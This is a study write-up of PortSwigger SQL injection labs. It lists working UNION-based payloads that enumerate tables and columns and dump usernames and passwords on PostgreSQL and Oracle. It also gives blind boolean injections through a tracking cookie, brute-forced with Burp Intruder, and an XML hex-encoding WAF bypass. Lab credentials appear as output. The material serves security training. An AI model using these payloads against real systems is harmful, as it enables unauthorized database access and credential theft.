SQL injection
SQL Injection Complete Guide by Rana Khalil
What is SQL injection?
Labs
PostSwigger Lab - SQL injection
Tools:BurpSuite,Chrome,switchyomega
0x00 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
0x01 SQL injection vulnerability allowing login bypass
0x02 SQL injection attack, querying the database type and version on Oracle
0x03 SQL injection attack, querying the database type and version on MySQL and Microsoft
0x04 SQL injection attack, listing the database contents on non-Oracle databases
End Goals:
- Determine the table that contains usernames andpasswords
- Determine the relevant columnsOutput the content of the table
- Login as the administrator user
Analysis:
Find the number of columns
' order by 3--
-> Internal server error -> 3-1=2Find the data type of the columns
' UNION select 'a','a'--
-> both columns accept text typeVersion of the database
' UNION SELECT @@version, NULL--
-> not Microsoft SQL and MySQL' UNION SELECT version(),NULL--
->200 0KPostgreSQL 12.17 (Ubuntu 12.17-0ubuntu0.20.04.1)
Output the list of table names in the database
' UNION SELECT table_name, NULL FROM information_schema.tables--
-> searchusers
->users_vqrxmy
Output the column names of the table
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users_vqrxmy'--
->password_bfrqkp
andusername_rwstyz
Output the usernames and passwords
' UNION select username_rwstyz, password_bfrqkp from users_vqrxmy--
->administrator
andlftog9bgwjw81hj0feiy
0x05 SQL injection attack, listing the database contents on Oracle
End Goals:
- Determine which table contains the usernames and passwords
- Determine the column names in table
- Output the content of the table
- Login as the administrator user
Analysis:
- Determine the number of columns
' order by 3--
-> Internal server error -> 3-1=2 - Find the data type of the columns
Oracle database ->' UNION select 'a','a' from DUAL--
-> both columns accept text type - Output the list of tables in the database
' UNION SELECT table_name, NULL FROM all_tables--
-> searchusers
->USERS_MQOBSV
- Output the column names of the users table
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_MQOBSV'--
->USERNAME_APTSKD
andPASSWORD_QXOINH
- Output the list of usernames and passwords
' UNION select USERNAME_APTSKD, PASSWORD_QXOINH from USERS_MQOBSV--
->administrator
anddvqljtgry480ary2i1iu
0x06 SQL injection UNION attack, determining the number of columns returned by the query
0x07 SQL injection UNION attack, finding a column containing text
0x08 SQL injection UNION attack, retrieving data from other tables
0x09 SQL injection UNION attack, retrieving multiple values in a single column
0x0A Blind SQL injection with conditional responses
Vulnerable parameter - tracking cookie
End Goals:
- Enumerate the password of the administrator
- Log in as the administrator user
Analysis:
Confirm that the parameter is vulnerable to blind SQLi
select tracking-id from tracking-table where trackingId = ''
-> If this tracking id exists -> query returns value -> Welcome back message
-> If the tracking id doesn’t exist -> query returns nothing -> no Welcome back messageselect tracking-id from tracking-table where trackingId = 'RvLfBu6S9EZRIVYN" and 1=1--'
-> TRUE -> Welcome backselect tracking-id from tracking-table where trackingId = 'RvLfBu6S9EZRIVYN" and 1=0--'
-> FALSE -> no Welcome back
Confirm that we have a users table
select tracking-id from trackingtable where trackingId = 'RvLfBu6S9EZRIVYN' and(select 'x'from users LIMIT 1)='x'--'
-> users table exists in the database.Confirm that username administrator exists users table
select tracking-id from tracking-table where trackingId = 'RvLfBu6S9EZRIVYN' and (select username from users were username='administrator')='administrator'--
-> administrator user existsEnumerate the password of the administrator user
select tracking-id from tracking-table where trackingId = 'RvLfBu6S9EZRIVYN' and (select username from users were username='administrator' and LENGTH(password)>1)='administrator'--
-> use burp Intruder, set payload is numbers from 1 to 20 and step 1
-> 1 < password length < 20select tracking-id from tracking-table where trackingId = 'RvLfBu6S9EZRIVYN' and (select substring(password,1,1) from users were username='administrator')='a'--
-> use burp Intruder, set payload is Brute focer, min length is 1 and max length is 1
Combine passwords based on blasting results
0x0B Blind SQL injection with conditional errors
0x0C Visible error-based SQL injection
0x0D Blind SQL injection with time delays
0x0E Blind SQL injection with time delays and information retrieval
0x0F Blind SQL injection with out-of-band interaction
0x10 Blind SQL injection with out-of-band data exfiltration
0x11 SQL injection with filter bypass via XML encoding
End Goals: Exploit SQL injection to retrieve the admin user’s credentials from the users table and log into their account.
Analysis:
- Find records of interactions with the backend
burp -> proxy -> HTTP history ->ProductId=1
andstock
- Obfuscate input in a way that the WAF gets bypassed.
1 UNION SELECT NULL
-> Extensions -> Hackvetor -> @hex_entities - Output the list of usernames and passwords
1 UNION SELECT username || '~' || password FROM users
->administrator
andq1xffcev1fis39y95d17